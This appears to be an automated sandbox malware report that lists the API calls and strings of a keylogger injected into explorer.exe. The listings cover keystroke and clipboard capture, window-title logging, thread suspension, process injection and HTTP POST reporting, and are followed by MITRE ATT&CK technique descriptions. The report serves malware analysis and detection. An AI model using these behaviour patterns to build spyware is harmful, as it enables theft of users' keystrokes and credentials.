Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: Handle$Close$MemoryProcess$Create$MoveRemoteSectionSleepThreadUnmapViewWrite$AddressErrorInformationLastModuleMutexOpenProcQueryReadVirtual
String ID: 0-8wP,8w$atan$ntdll$opera_shared_counter
API String ID: 1066286714-1929110738
Opcode ID: 84396b93fbdefac977f6376ef4eb73f06408679e0de11dfbe46f7ed8e0b5554e
Instruction ID: 100814e3a55634df8c2fe6b265347e26d39409d0609641261291420f1f3094c9
Opcode Fuzzy Hash: 84396b93fbdefac977f6376ef4eb73f06408679e0de11dfbe46f7ed8e0b5554e
Instruction Fuzzy Hash: D861AF71204345AFD310DF258C84EAB7BECEB48755F00452AF94DD3261D674EE44DBAA

Function 00472799 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 68
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 004727B5
CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 004727CD
lstrlen.KERNEL32(?,00000000), ref: 004727D5
CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 004727E0
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 004727FA
wsprintfA.USER32 ref: 00472811
CryptDestroyHash.ADVAPI32(?), ref: 0047282A
CryptReleaseContext.ADVAPI32(?,00000000), ref: 00472834

Strings

%02X, xrefs: 0047280B

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireCreateDataDestroyParamReleaselstrlenwsprintf
String ID: %02X
API String ID: 3341110664-436463671
Opcode ID: 794685f1bafa42d71dd679b91b09e9faab9044f37ba05a5f434ac126f96e30d7
Instruction ID: b5839d302c9b2f54d9c589ee91886ac8e52ad4fbc0b8754ee227f4eb79c111e7
Opcode Fuzzy Hash: 794685f1bafa42d71dd679b91b09e9faab9044f37ba05a5f434ac126f96e30d7
Instruction Fuzzy Hash: 5F115B71900148BFDB119F95EC88EEEBFBCEB48306F104476F608E2150D6754F81AB68

Function 0047162B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00471652
ToUnicode.USER32(0000001B,?,?,?,00000009,00000000), ref: 0047167A

Strings

, xrefs: 00471699

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: KeyboardStateUnicode
String ID:
API String ID: 3453085656-3916222277
Opcode ID: 725a35a2e42070b76e1e489305640ef8ab121efbd349cf4fc9f3f91cdcb0e87f
Instruction ID: e893def3d7d8de89e43d7e83e4f7fc9d41406ff3431e090362ad313fb465fd08
Opcode Fuzzy Hash: 725a35a2e42070b76e1e489305640ef8ab121efbd349cf4fc9f3f91cdcb0e87f
Instruction Fuzzy Hash: E901C8319002055BDB30CB18DD45BFB737CEF05701F08842BE909D2261D738DA918AA9

Function 004713AE Relevance: 38.6, APIs: 17, Strings: 5, Instructions: 144
libraryloaderthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlZeroMemory.NTDLL(00475013,0000001C), ref: 004713C8
VirtualQuery.KERNEL32(004713AE,?,0000001C), ref: 004713DA
GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 0047140B
GetCurrentProcessId.KERNEL32(00000004), ref: 0047141C
wsprintfA.USER32 ref: 00471433
CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 00471448
GetLastError.KERNEL32 ref: 0047144E
RtlInitializeCriticalSection.NTDLL(0047582C), ref: 00471465
Sleep.KERNEL32(000001F4), ref: 00471489
GetModuleHandleA.KERNEL32(user32.dll,TranslateMessage), ref: 004714A6
GetProcAddress.KERNEL32(00000000), ref: 004714AF
GetModuleHandleA.KERNEL32(user32.dll,GetClipboardData), ref: 004714D0
GetProcAddress.KERNEL32(00000000), ref: 004714D3
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004714F1
CreateThread.KERNEL32(00000000,00000000,Function_0000082D,00000000,00000000,00000000), ref: 0047150D
CloseHandle.KERNEL32(00000000), ref: 00471514
RtlExitUserThread.NTDLL(00000000), ref: 0047152A

Strings

kernel32.dll, xrefs: 004714EC
user32.dll, xrefs: 004714A1, 004714CB
GetClipboardData, xrefs: 004714C6
%s%d%d%d, xrefs: 0047142D
TranslateMessage, xrefs: 0047149C

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: HandleModule$AddressCreateProcThread$CloseCriticalCurrentErrorExitFileInitializeLastMemoryMutexNameProcessQuerySectionSleepUserVirtualZerowsprintf
String ID: %s%d%d%d$GetClipboardData$TranslateMessage$kernel32.dll$user32.dll
API String ID: 3628807430-1779906909
Opcode ID: b8f1996d041ba2748a336bb9570e0b4d0379becd03f1f173060b8be350425bea
Instruction ID: 843a5003397a4c1ad9b6d125fc64b83791091ddd56eb53c7a75f55536f84bcb4
Opcode Fuzzy Hash: b8f1996d041ba2748a336bb9570e0b4d0379becd03f1f173060b8be350425bea
Instruction Fuzzy Hash: 8041A570600344BBD710BF76EC09E9B3BADFB44756B00C42AF50D86261DBB99A449BAD

Function 004716B9 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 90
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(0047582C), ref: 004716C4
lstrlenW.KERNEL32 ref: 004716DB
lstrlenW.KERNEL32 ref: 004716F3
wsprintfW.USER32 ref: 00471743
GetForegroundWindow.USER32 ref: 0047174E
GetWindowTextW.USER32(00000000,00475850,00000800), ref: 00471767
GetClassNameW.USER32(00000000,00475850,00000800), ref: 00471774
lstrcmpW.KERNEL32(00475020,00475850), ref: 00471781
lstrcpyW.KERNEL32(00475020,00475850), ref: 0047178D
wsprintfW.USER32 ref: 004717AD
lstrcatW.KERNEL32 ref: 004717C6
RtlLeaveCriticalSection.NTDLL(0047582C), ref: 004717D3

Strings

%s%s%s%s, xrefs: 004717A2
Clipboard -> , xrefs: 00471730
%s%s%s, xrefs: 00471738
PG, xrefs: 0047177B
PXG, xrefs: 0047175F
New Window Caption -> , xrefs: 0047179A

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: CriticalSectionWindowlstrlenwsprintf$ClassEnterForegroundLeaveNameTextlstrcatlstrcmplstrcpy
String ID: Clipboard -> $ New Window Caption -> $ PG$%s%s%s$%s%s%s%s$PXG
API String ID: 2651329914-455055589
Opcode ID: 5251a9e92d078e8fde6c6a37dd35730e98917cfc70922d05fb1522b9f0688707
Instruction ID: c0b18b29a69df591af17873c648a4bc9ce574ac7feffb8b4f6476458f6a5f9e6
Opcode Fuzzy Hash: 5251a9e92d078e8fde6c6a37dd35730e98917cfc70922d05fb1522b9f0688707
Instruction Fuzzy Hash: 4C21D630600654BBC3243F3AFD88EAF3B9CEB41B56715C036F40D96271DA598D41A6EE

Function 004725F1 Relevance: 15.1, APIs: 10, Instructions: 51
threadprocessinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00472603
GetCurrentThreadId.KERNEL32 ref: 0047260B
CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 0047261B
Thread32First.KERNEL32(00000000,0000001C), ref: 00472629
OpenThread.KERNEL32(001FFFFF,00000000,?), ref: 00472648
SuspendThread.KERNEL32(00000000), ref: 00472658
CloseHandle.KERNEL32(00000000), ref: 00472667
Thread32Next.KERNEL32(00000000,0000001C), ref: 00472677
CloseHandle.KERNEL32(00000000), ref: 00472682

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: Thread$CloseCurrentHandleThread32$CreateFirstNextOpenProcessSnapshotSuspendToolhelp32
String ID:
API String ID: 1467098526-0
Opcode ID: 31d0dcf48aae500bc5f1b4e0392986352e438a3027e03b61e7f704bcc565c39f
Instruction ID: 9c00f44c72c6916a2f774b56fd9dbd4a62bcf438a1e6c0506c950b8d0fbd7ff2
Opcode Fuzzy Hash: 31d0dcf48aae500bc5f1b4e0392986352e438a3027e03b61e7f704bcc565c39f
Instruction Fuzzy Hash: 33117371405250EFD7119F60AD4CAAFBBA8FF44706F00442AF64992254D7748A89ABAB

Function 004720A1 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 283
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00472A09: GetProcessHeap.KERNEL32(00000008,0000A000,004710BF), ref: 00472A0C
Part of subcall function 00472A09: RtlAllocateHeap.NTDLL(00000000), ref: 00472A13

Part of subcall function 0047298A: lstrlen.KERNEL32(00474FE2,?,00000000,00000000,004720DD,76228A60,00474FE2,00000000), ref: 00472992
Part of subcall function 0047298A: MultiByteToWideChar.KERNEL32(00000000,00000000,00474FE2,00000001,00000000,00000000), ref: 004729A4

Part of subcall function 004724CC: RtlZeroMemory.NTDLL(?,00000018), ref: 004724DE

RtlZeroMemory.NTDLL(?,0000003C), ref: 00472139
wsprintfW.USER32 ref: 00472272
wsprintfW.USER32 ref: 004722DD
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 004723A7

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 00472301
Accept: */*Referer: %S, xrefs: 00472268
POST, xrefs: 00472223
Host: %s, xrefs: 004722D7

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: Memory$HeapZerowsprintf$AllocateByteCharMoveMultiProcessWidelstrlen
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$Host: %s$POST
API String ID: 4204651544-1701262698
Opcode ID: 7dd516415a3292ab8bed37698d4c9775f23f1f550a6f8460499f7751a5bad413
Instruction ID: 53a0ff9e7bbd1b39d2a172e529b580b6441f2a6f57ccce6b2bdb96a44aef6636
Opcode Fuzzy Hash: 7dd516415a3292ab8bed37698d4c9775f23f1f550a6f8460499f7751a5bad413
Instruction Fuzzy Hash: 6EA19F71608340AFD3109F65D984A6BBBE8FF88344F14492EF989D3351DAB8DE448B5A

Function 004724CC Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlZeroMemory.NTDLL(?,00000018), ref: 004724DE

Strings

OG, xrefs: 00472547
G, xrefs: 004724F5
OG, xrefs: 004724F2
OG G, xrefs: 004724FF

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: MemoryZero
String ID: G$OG$OG$OG G
API String ID: 816449071-3684225115
Opcode ID: 31839f73adcb72787bb032c66cb2d1658c383810fd48b73d8b39dc77f59e3597
Instruction ID: 57e198ae3363cdcb0562caca596906e57f700eaf6983b78f77aea6a47301d5ee
Opcode Fuzzy Hash: 31839f73adcb72787bb032c66cb2d1658c383810fd48b73d8b39dc77f59e3597
Instruction Fuzzy Hash: 9311E3B1A01209AFDB10DFA9D984ABFB7BDEB48701B104029F949E3240E7749E44DB65

Function 0047182D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(0047582C), ref: 00471839
lstrlenW.KERNEL32 ref: 00471845
RtlLeaveCriticalSection.NTDLL(0047582C), ref: 004718A9
Sleep.KERNEL32(00007530), ref: 004718B4

Strings

,XG, xrefs: 00471833

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: CriticalSection$EnterLeaveSleeplstrlen
String ID: ,XG
API String ID: 2134730579-1422681593
Opcode ID: 364b34ee7368b1f7957a47b10d8fe88c17ee6f0a384e552543fc0330ff87b86d
Instruction ID: c3b96b7d5bff35bb7aca6b337163fd476634f9d9067e12b1351a749014a5afab
Opcode Fuzzy Hash: 364b34ee7368b1f7957a47b10d8fe88c17ee6f0a384e552543fc0330ff87b86d
Instruction Fuzzy Hash: EB01A771A11540ABD3247F76EE1A8AE3AA9EB41705704803EF10D8B261DAB88D41D7AF

Function 004712AE Relevance: 7.6, APIs: 5, Instructions: 93
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004729BD: VirtualAlloc.KERNEL32(00000000,00040744,00003000,00000040,004712D9,00000000,00000000,?,00000001), ref: 004729C7

lstrlen.KERNEL32(00000000,00000000,00000000,?,00000001), ref: 004712DC

Part of subcall function 00472A09: GetProcessHeap.KERNEL32(00000008,0000A000,004710BF), ref: 00472A0C
Part of subcall function 00472A09: RtlAllocateHeap.NTDLL(00000000), ref: 00472A13

PathMatchSpecA.SHLWAPI(?,00000000), ref: 0047138A

Part of subcall function 00472841: lstrlen.KERNEL32(00000000,?,?,00000001,00000000,00471119,00000001), ref: 00472850
Part of subcall function 00472841: lstrlen.KERNEL32(keylog_rules=,?,?,00000001,00000000,00471119,00000001), ref: 00472855

RtlZeroMemory.NTDLL(00000000,00000104), ref: 00471316
RtlMoveMemory.NTDLL(00000000,?,?), ref: 00471332

Part of subcall function 00472569: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,0047136E), ref: 00472591
Part of subcall function 00472569: RtlMoveMemory.NTDLL(00000FA4,00000000,00000000), ref: 0047259A

RtlMoveMemory.NTDLL(00000000,?,?), ref: 0047135F

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: Memorylstrlen$Move$Heap$AllocAllocateMatchPathProcessSpecVirtualZero
String ID:
API String ID: 2993730741-0
Opcode ID: 10c7aaa37ea6af1b696c5ddd530c258339ae7b42b4567bc8cc1166b2de96381c
Instruction ID: c811274904f31d9b13311614b4ffe6a3aa534a88d167d7e73ac7f0bce2f86a01
Opcode Fuzzy Hash: 10c7aaa37ea6af1b696c5ddd530c258339ae7b42b4567bc8cc1166b2de96381c
Instruction Fuzzy Hash: EA21D2707042019F9310EF2D89458BFB3D9AB84704B10853FFC4AD3752DB78DD498A6A

Function 00471581 Relevance: 7.6, APIs: 5, Instructions: 66stringCOMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32(00000000), ref: 004715A9
lstrlenW.KERNEL32(00000000), ref: 004715C6
lstrcatW.KERNEL32(00000000,00000000), ref: 004715DC
lstrlenW.KERNEL32(00000000), ref: 00471600
GlobalUnlock.KERNEL32(00000000), ref: 0047161C

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: Globallstrlen$LockUnlocklstrcat
String ID:
API String ID: 1114890469-0
Opcode ID: 2399493a268d5c54a0d547dc761d5577a40dc859f74ccd151cffadc3b78c0020
Instruction ID: 489620c0566b34ce9a8fe4c86dce780d147c746e10dafc0e22d00b542f504644
Opcode Fuzzy Hash: 2399493a268d5c54a0d547dc761d5577a40dc859f74ccd151cffadc3b78c0020
Instruction Fuzzy Hash: C4014832B000506B86282B7E6E885FF22AD9FC6315708C03BF40F93332DE6C8D02529C

Function 00471BBD Relevance: 6.1, APIs: 4, Instructions: 101libraryloaderCOMMON

Download Yara Rule

APIs

RtlMoveMemory.NTDLL(?,?,?), ref: 00471BF4
LoadLibraryA.KERNEL32(?,00475848,00000000,00000000,76232EE0,00000000,004719B6,?,?,?,00000001,?,00000000), ref: 00471C1C
GetProcAddress.KERNEL32(00000000,-00000002), ref: 00471C49
LdrProcessRelocationBlock.NTDLL(?,?,00000008,?), ref: 00471C9A

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: AddressBlockLibraryLoadMemoryMoveProcProcessRelocation
String ID:
API String ID: 3827878703-0
Opcode ID: 1183ffa5ee2a4e4eb9132999b78f8d34a0633f8ca8c389fbe67dc360b27ce6bb
Instruction ID: e54e7f7f7e120955fa95f7628db52f00bb9e0ce31acc969b59eab95bbdffb60e
Opcode Fuzzy Hash: 1183ffa5ee2a4e4eb9132999b78f8d34a0633f8ca8c389fbe67dc360b27ce6bb
Instruction Fuzzy Hash: 7E31C071740211AFCB29CF6DC884BA6B7A8BF15305F14812EE84EC7310D739E845DBA8

Function 004726C9 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000000,?,?,00000001,?,00000000,004711DD), ref: 004726DB
IsWow64Process.KERNEL32(000000FF,?), ref: 004726ED
IsWow64Process.KERNEL32(00000000,?), ref: 00472700
CloseHandle.KERNEL32(00000000), ref: 00472716

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: Process$Wow64$CloseHandleOpen
String ID:
API String ID: 331459951-0
Opcode ID: ee0f1da1aa11b798e81a9e115ede4063d819c18f01c4dbe8b90f95d10250b899
Instruction ID: 558b16490ffb54153e39d30cad16443359143961ca309251796b5d52f0c4bbf2
Opcode Fuzzy Hash: ee0f1da1aa11b798e81a9e115ede4063d819c18f01c4dbe8b90f95d10250b899
Instruction Fuzzy Hash: 93F0B471802228FF9B14CFA49F488EFB7BCEF05356B10426BE908A3240D7744F40A6A9

Function 004717DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00472A09: GetProcessHeap.KERNEL32(00000008,0000A000,004710BF), ref: 00472A0C
Part of subcall function 00472A09: RtlAllocateHeap.NTDLL(00000000), ref: 00472A13

GetLocalTime.KERNEL32(?,00000000), ref: 004717F3
wsprintfW.USER32 ref: 0047181D

Strings

[%02d.%02d.%d %02d:%02d:%02d], xrefs: 00471817

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: [%02d.%02d.%d %02d:%02d:%02d]
API String ID: 377395780-613334611
Opcode ID: cf4570bbc77d3d190220f2d36414867e1d03fa0a7faa8834430fc680cd2d4f71
Instruction ID: a3888f7324a23b5431077a5d5f438143a4182e43adab6600a579f09d7d46ed57
Opcode Fuzzy Hash: cf4570bbc77d3d190220f2d36414867e1d03fa0a7faa8834430fc680cd2d4f71
Instruction Fuzzy Hash: 1FF03761900138BAC7145BD99D059FFB3FCEB0C702B00015BFA45E1180F57C5A90D3B9

Analysis Process: explorer.exePID: 3488, Parent PID: 4004COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00AA370C Relevance: 1.6, APIs: 1, Instructions: 75
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00AA378C

Memory Dump Source

Source File: 00000013.00000002.4579249904.0000000000AA1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_aa1000_explorer.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: dbf61e07686744f72196ae4154379358cd8380f5b457a8fa64264e9f57adb311
Instruction ID: 051172b8067697a1eca0933bc269406de931c5048cc94f01f91583bd5e4d47a1
Opcode Fuzzy Hash: dbf61e07686744f72196ae4154379358cd8380f5b457a8fa64264e9f57adb311
Instruction Fuzzy Hash: 7311B2746019094BFF58FBB8989D27533E1EB1A312F54402AB815C72E2EF398A818700

Function 00AAB4A8 Relevance: 4.8, APIs: 3, Instructions: 252
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,?,7473604B), ref: 00AAB5A7
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-00000003), ref: 00AAB651
VirtualProtect.KERNELBASE ref: 00AAB66F

Memory Dump Source

Source File: 00000013.00000002.4579249904.0000000000AAA000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AAA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_aaa000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 2ac08652e5940d8da138c1cef1dd6534290a638b515b67647dbd8ecab25afafd
Instruction ID: 489849b5689ead08a026ee792af1f0160920f9d603f2e9ace04eec1bddc1df85
Opcode Fuzzy Hash: 2ac08652e5940d8da138c1cef1dd6534290a638b515b67647dbd8ecab25afafd
Instruction Fuzzy Hash: EA515B31B74A1E4BCB24AB789CD42F4B7D1F75B325B18062AC49BC32C7D769C84683A1

Function 00AA34C4 Relevance: 3.2, APIs: 2, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AA1BF8: OpenFileMappingA.KERNEL32 ref: 00AA1C0F
Part of subcall function 00AA1BF8: MapViewOfFile.KERNELBASE ref: 00AA1C2E

SysFreeMap.PGOCR ref: 00AA36F7
SleepEx.KERNELBASE ref: 00AA3701

Memory Dump Source

Source File: 00000013.00000002.4579249904.0000000000AA1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_aa1000_explorer.jbxd

Similarity

API ID: File$FreeMappingOpenSleepView
String ID:
API String ID: 4205437007-0
Opcode ID: b219c8272f255adf82644705b15b3be163a192963f27b66c12c2cdeb1fe9695d
Instruction ID: d66d6cc551eaffb990e0ca7ac61f90c67ad2474d9389a1ba0c6e486f669ec878
Opcode Fuzzy Hash: b219c8272f255adf82644705b15b3be163a192963f27b66c12c2cdeb1fe9695d
Instruction Fuzzy Hash: D1518431218A089FDB19FF28D9997AB73E2EB96310F444619F45BC72E1DF38DA058781

Function 00AA1BF8 Relevance: 3.0, APIs: 2, Instructions: 40
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenFileMappingA.KERNEL32 ref: 00AA1C0F
MapViewOfFile.KERNELBASE ref: 00AA1C2E

Memory Dump Source

Source File: 00000013.00000002.4579249904.0000000000AA1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_aa1000_explorer.jbxd

Similarity

API ID: File$MappingOpenView
String ID:
API String ID: 3439327939-0
Opcode ID: 6967ddb8a23556e9d4b9c667e167efa50793072ee7ce98a3c93afcac9569559f
Instruction ID: a08c69f5635d18ec052ff8f6aeebf9bf11abeb5654308294f6c17c05b86cbb7d
Opcode Fuzzy Hash: 6967ddb8a23556e9d4b9c667e167efa50793072ee7ce98a3c93afcac9569559f
Instruction Fuzzy Hash: 24F01234314F4D4FAB45EF7C9C9C136B7E1EBA8202B44857A985AC7165EF34C8458711

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

